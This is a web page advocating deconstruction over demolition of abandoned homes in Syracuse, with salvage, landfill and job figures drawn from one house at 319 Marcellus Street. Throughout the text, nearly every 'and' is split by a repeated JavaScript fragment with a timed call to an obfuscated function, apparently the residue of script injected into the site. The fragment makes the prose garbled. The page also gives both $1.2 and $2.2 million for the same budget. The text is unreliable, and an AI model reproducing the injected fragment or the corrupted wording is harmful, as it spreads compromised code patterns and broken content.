Deconstruction Economy

Above:  Some of the 12,100 pounds (22,000 board feet) of lumber deconstructed from 319 Marcellus Street.

Current thinking andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and policy in Central NY, as in most communities around the United States, is to demolish abandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andoned, deteriorating homes as a form of economic & community development. These homes draw crime, devalue neighborhoods, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and develop into safety & fire risks, so deciding to remove such properties is understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andable. How it’s done, however, literally means the world.

Our community, right now, is outlaying $1.2 Million Dollars to demolish about 67 of the City’s approximately 1,360 abandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andoned, deteriorating homes. The City is actively seeking additional funds to demolish more properties.  Though most believe that vacant lots create fewer financial burdens than deteriorating homes, cities still must maintain andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ensure the safety of these properties, incurring costs that almost never are repaid by absentee landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andlords. So even after paying to landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfill millions of pounds of valuable resources, creating more landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfills at ever-higher costs, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and erasing neighborhood fabrics of unique cultural andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ecological history, this vacant real estate imposes substantial costs on cities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the consequences of fire, crime andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and safety risks on neighborhood residents andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and citizens.

Deconstruction, alternatively, is a key strategy for cities to become ‘Carbon Neutral’ (that is, functionally preserve the preexisting carbon cycling of the surrounding living system), preserve the basis on which all life depends (ecosystem services), andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and develop inherently local, resilient economies. For example, the deconstruction of 319 Marcellus Street preserved 86% of the home’s 213,000 pounds of resources while employing 20 people for four days.  Based on the proof of concept of 319 Marcellus Street, demolishing 127 homes would:

  • Landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfill 23,070,502.5 pounds (11,535.25 tons) of high-quality building materials andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and unique architectural elements at a cost of $484,480 dollars
  • Miss the opportunity to generate about $235,915 in wages andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inherently local jobs that can’t be outsourced or relocated to other communities

 

It is indisputable that demolition invests public money to, essentially, create more landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfills, cut more forests, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and further degrade already imperiled natural communities while employing as few people as possible (studies indicate that deconstruction can create up to 19 jobs for every 1 for demolition). If instead we invested that same $2.2 Million Dollars to create a “deconstruction infrastructure” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and local economy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and set an easily achievable goal to deconstruct 127 homes in the City of Syracuse, the benefits would approximately be to:

  • Reduce resource flows to landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfills from 11,535.25 tons to 1,706 tons, saving $412,828 in landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfill fees (at current landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfill rates).
  • Recapture $321,390.01 in salvaged building materials andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and unique architectural elements (assuming a 50% discount from ‘new’ materials, a substantial economic subsidy for local residents).
  • Create at least $250,000 in inherently local business income & wages (approximately 58,000 man-hours of work) paying a living wage (not including related businesses like metal salvage andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wood recycling).  This does not include amounts for salvage of the foundations, a key service for demolition contractors to continue providing.

 

By leveraging stimulus funding that must be immediately spent, the community can create a durable, inherently local deconstruction infrastructure & economy based on returning value to the local community.  If we leveraged the $2.2 Million Dollars to instead build a self-sufficient deconstruction market & economy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and committed to deconstruct 1,000 houses, the benefits would be to:

  • Create $2,373,110 dollars in high-quality salvaged wood, metal, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and unique architectural elements (a conservative estimate)
  • Divert 175,638,000 pounds (87,819 tons) of resources from landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfills, at a savings of $4,390,950 in landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfill tipping fees (at $50 per ton)
  • Generate roughly $450,000 in wages andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and local business (not including the interconnected businesses such as metal salvage andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wood recycling).

 

Deconstruction is a key element in transforming communities ‘carbon-neutral,’ or as we’d define it, becoming a key functional force to preserve the carbon cycle of the Holocene.  By mimicking the ecosystem function of decomposition andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and natural law of Reciprocity, deconstruction is multi-dimensional in benefit. The shape of the deconstruction infrastructure itself generates certain essential functions.

For example, by preserving 12,100 pounds of lumber at 319 Marcellus, the total change in greenhouse gas emissions was -39 MTCO2E (versus landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfilling).

The above numbers are both conservative andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and partial in describing the benefits of deconstruction.  They don’t include the value of ecosystem services preserved, of the forests andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ecological communities that we don’t have to clear cut, harvest, mine or bulldoze, or the value of the timber’s stored carbon (wood products, by weight, are approximately 49% carbon).

One of our recent LEED for Homes projects also served as a living research project to test the economic viability of deconstruction.  LEED for Homes is the nation’s leading green building rating system, designed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and created by volunteers in design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and construction industry.  Because LEED for Homes challenges the top 25% of the building market to innovate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and construct third-party verified high-performance homes, the process creates opportunities to achieve related goals such as deconstruction rather than demolition.

It is common sense that no community can demolish its way to economic or ecological health.  Demolition is an excellent way to stimulate growth in landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfill development, to harvest more forests, mine more metal ores andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and aggregate, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to destroy living communities.  Deconstruction enables us to become a key functional force in living systems, of mimicking Decomposition in natural systems andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Law of Reciprocity in biocultural communities.